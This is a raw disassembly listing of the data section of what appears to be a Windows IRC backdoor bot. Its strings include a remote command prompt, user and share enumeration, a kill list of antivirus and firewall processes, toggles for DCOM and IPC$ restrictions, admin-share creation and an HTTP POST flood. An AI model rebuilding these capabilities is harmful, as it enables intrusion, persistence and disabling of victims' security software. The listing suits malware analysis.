aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439BD4	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BF8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439C14	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C60	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439CC0	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439D18	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439D38	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EF4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439F28	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A230	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A25C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A288	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A390
		dd offset dword_43A384
		dd offset dword_43A378
		dd offset dword_43A36C
		dd offset dword_43A360
		dd offset dword_43A354
		dd offset dword_43A344
		dd offset dword_43A338
		dd offset dword_43A32C
		dd offset dword_43A320
		dd offset dword_43A314
		dd offset dword_43A304
		dd offset dword_43A2F8
		dd offset dword_43A2E8
dword_43A2E8	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A2E4o
dword_43A2F8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A2E0o
dword_43A304	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A2DCo
dword_43A314	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A2D8o
dword_43A320	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A2D4o
dword_43A32C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A2D0o
dword_43A338	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A2CCo
dword_43A344	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A2C8o
dword_43A354	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A2C4o
dword_43A360	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A2C0o
dword_43A36C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A2BCo
dword_43A378	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A2B8o
dword_43A384	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A2B4o
dword_43A390	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A2B0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A2ACo
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A2A8o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A2A4o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A2A0o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A29Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A298o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A294o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A290o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A28Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A288o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A440	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A464	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A488	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A4B8	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A4E8	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A510	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A540	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A574	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A598	dd offset dword_43A5D0	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A5C8
		align 8
off_43A5A8	dd offset dword_43A5C4	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A5C0
		dd offset dword_43A5BC
		dd offset off_43A5B8
off_43A5B8	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A5B4o
dword_43A5BC	dd 2444h		; DATA XREF: ___:0043A5B0o
off_43A5C0	dd offset byte_5C3A43	; DATA XREF: ___:0043A5ACo
dword_43A5C4	dd 2443h		; DATA XREF: ___:off_43A5A8o
dword_43A5C8	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A5A0o
dword_43A5D0	dd 24435049h, 0		; DATA XREF: ___:off_43A598o
dword_43A5D8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A608	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A6AC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A6D0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A700	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A73C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A810	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A840	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A870	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A898	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A8B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8F4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A92C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A96C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A988	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A9E0	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43ABEC	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43ACC8	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43ACEC	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43AD30	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43AD34	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43AD38	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43AD40	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD50	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD80	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43ADAC	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43ADC8	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43AE04	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43AE20	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43AE24	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43AE28	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43AE2C	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43AE30	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43AE34	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43AE38	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43AE3C	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE50	dd 5ABFAC5Ah		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE60	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE6C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE78	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE7C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE90	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE94	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AEA0	dd offset off_43AEA0	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AEA4	dd offset off_43AEA0	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AEB8
		dd offset dword_43AEB8
dword_43AEB0	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AEB8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AEA8o
					; ___:0043AEACo
off_43CEC0	dd offset off_43AEA0	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CEC4	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CEC8	dd offset word_43CED2	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CECC	dd offset word_43CED2	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CED2	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CEC8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D0D4	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D0D8	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D0E0	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D0E4	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D0E8	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0F0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0F4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D100	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D1E0	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D1E4	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D348	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D350	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
